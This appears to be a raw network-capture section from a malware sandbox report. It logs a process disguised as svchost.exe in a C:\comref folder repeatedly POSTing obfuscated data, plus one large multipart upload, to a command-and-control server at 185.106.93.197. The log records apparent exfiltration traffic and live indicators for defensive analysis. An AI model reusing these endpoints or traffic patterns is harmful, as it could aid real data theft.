                                                                      Aug 28, 2024 11:17:44.909434080 CEST2512OUTData Raw: 5b 53 5e 55 5d 58 59 54 5b 57 5a 59 52 5a 54 56 54 50 5e 5a 57 57 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S^U]XYT[WZYRZTVTP^ZWWZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!B/!:^<^<X#=#2'5U-1#8+32[+_&Y")\+"Y %X!;
                                                                      Aug 28, 2024 11:17:45.191829920 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:45.321521044 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:45 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      21192.168.2.757767185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:45.479552984 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:45.831350088 CEST2512OUTData Raw: 5b 55 5b 5c 5d 5b 59 57 5b 57 5a 59 52 59 54 57 54 5e 5e 5f 57 53 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [U[\][YW[WZYRYTWT^^_WSZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A.1*]>(<\#Y%+5(S:>78$<)**>",=("Y %X!7
                                                                      Aug 28, 2024 11:17:46.119349957 CEST25INHTTP/1.1 100 Continue


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      22192.168.2.757768185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:46.196666956 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1820
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:46.550057888 CEST1820OUTData Raw: 5b 50 5e 5a 58 5c 5c 56 5b 57 5a 59 52 5c 54 54 54 5d 5e 5a 57 54 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P^ZX\\V[WZYR\TTT]^ZWTZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A,5?8_7(_&/ (4:>7^0Z&,*99!%^+"Y %X!7
                                                                      Aug 28, 2024 11:17:46.828079939 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:46.956692934 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:46 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5e 20 04 27 56 26 55 33 03 3b 28 22 1e 3e 12 27 06 2a 32 02 1a 33 3d 30 55 27 06 2b 0e 33 06 34 1d 33 31 2e 06 24 2d 09 1c 24 26 2d 5f 06 11 25 41 21 38 29 5e 3b 1c 20 1f 29 03 02 58 36 2d 3f 5b 29 23 3e 0e 36 00 23 5e 3d 5a 3d 0e 2c 1f 3e 0b 3d 3a 04 5e 3b 04 28 50 31 2a 21 52 0c 17 22 50 28 2a 30 5a 21 28 3e 54 24 0c 06 0d 34 01 35 54 27 01 3f 57 26 3a 20 10 2b 5e 2b 0e 25 2e 01 0b 32 02 25 11 30 2c 20 08 2d 13 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $^ 'V&U3;(">'*23=0U'+3431.$-$&-_%A!8)^; )X6-?[)#>6#^=Z=,>=:^;(P1*!R"P(*0Z!(>T$45T'?W&: +^+%.2%0, -.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      23192.168.2.757769185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:46.348037958 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:46.706796885 CEST2512OUTData Raw: 5b 54 5b 59 5d 5b 5c 56 5b 57 5a 59 52 5d 54 51 54 5d 5e 5b 57 55 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [T[Y][\V[WZYR]TQT]^[WUZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";">;8#'29,X!(',;:Q 3<2Z+)"?6(9"Y %X!'
                                                                      Aug 28, 2024 11:17:47.009944916 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:47.142324924 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:46 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      24192.168.2.757770185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:47.279042959 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:17:47.628191948 CEST2512OUTData Raw: 5e 55 5e 5e 5d 5d 59 52 5b 57 5a 59 52 5e 54 5c 54 5d 5e 5f 57 50 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^U^^]]YR[WZYR^T\T]^_WPZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!@82>((!>,Y%_3"'.#80'?"Y?-5<+)"Y %X!+
                                                                      Aug 28, 2024 11:17:47.980427980 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:48.119256973 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:47 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      25192.168.2.757771185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:48.285603046 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:48.643862009 CEST2512OUTData Raw: 5e 51 5e 59 58 58 59 57 5b 57 5a 59 52 58 54 50 54 5d 5e 5d 57 52 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^Q^YXXYW[WZYRXTPT]^]WRZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,]?;7!>;%/"((S,;)78X'<2+)#/!("Y %X!3
                                                                      Aug 28, 2024 11:17:48.947523117 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:49.080867052 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:48 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      26192.168.2.757772185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:49.212838888 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:49.565756083 CEST2504OUTData Raw: 5b 56 5e 5a 5d 50 5c 51 5b 57 5a 59 52 5c 54 52 54 51 5e 5d 57 55 5a 54 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [V^Z]P\Q[WZYR\TRTQ^]WUZT\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,T.Z(8X#,19$[6 9(1#33-(:=#/)+"Y %X!;
                                                                      Aug 28, 2024 11:17:49.901962996 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:50.030571938 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:49 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      27192.168.2.757773185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:50.189955950 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:50.534451008 CEST2512OUTData Raw: 5b 50 5e 5f 5d 5a 59 50 5b 57 5a 59 52 54 54 52 54 5d 5e 5b 57 54 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P^_]ZYP[WZYRTTRT]^[WTZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS","(88_#<1<^5 .+9 ^ ['?=<:"[!Z%[?9"Y %X!
                                                                      Aug 28, 2024 11:17:50.858282089 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:50.992418051 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:50 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      28192.168.2.757774185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:51.087932110 CEST461OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: multipart/form-data; boundary=----3L6dFNpHggmEVePS1rn0L5vFbP6ztukNDZ
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 108894
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      29192.168.2.757775185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:51.117794037 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:51.471957922 CEST2512OUTData Raw: 5e 57 5e 5d 5d 59 59 56 5b 57 5a 59 52 5b 54 57 54 5d 5e 5e 57 5f 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W^]]YYV[WZYR[TWT]^^W_ZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"8:_>+8_ .7%)$^ ;':]-7?&?.X(_9"%]<9"Y %X!
                                                                      Aug 28, 2024 11:17:51.772722960 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:51.904999971 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:51 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      30192.168.2.757776185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:51.977771997 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1820
                                                                      Expect: 100-continue


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      31192.168.2.757777185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:52.037214994 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:52.393918991 CEST2512OUTData Raw: 5e 55 5e 5f 5d 50 5c 50 5b 57 5a 59 52 5d 54 56 54 5c 5e 5c 57 57 5a 58 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^U^_]P\P[WZYR]TVT\^\WWZX\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"."?+<Y!.&97!;$S:8!#(3,Y<6/5Z?"Y %X!'
                                                                      Aug 28, 2024 11:17:52.758673906 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:52.892430067 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:52 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      32192.168.2.760137185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:53.022790909 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:17:53.378557920 CEST2512OUTData Raw: 5b 56 5e 58 5d 5a 59 5a 5b 57 5a 59 52 54 54 52 54 5d 5e 5d 57 53 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [V^X]ZYZ[WZYRTTRT]^]WSZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D,12+87 >,2(";9;!!+,[0(%!=<9"Y %X!
                                                                      Aug 28, 2024 11:17:53.690826893 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:53.824539900 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:53 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      33192.168.2.760138185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:53.967360973 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:54.315697908 CEST2504OUTData Raw: 5e 55 5e 54 5d 50 59 52 5b 57 5a 59 52 5c 54 51 54 50 5e 5e 57 5e 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^U^T]PYR[WZYR\TQTP^^W^Z_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!/2%<^4\4>,\295;4:"S ,]'?"[*))"?!*)"Y %X!7
                                                                      Aug 28, 2024 11:17:54.611114979 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:54.740418911 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:54 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      34192.168.2.760139185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:54.863609076 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:55.221930027 CEST2512OUTData Raw: 5b 57 5e 5e 5d 59 59 56 5b 57 5a 59 52 5f 54 57 54 51 5e 58 57 51 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
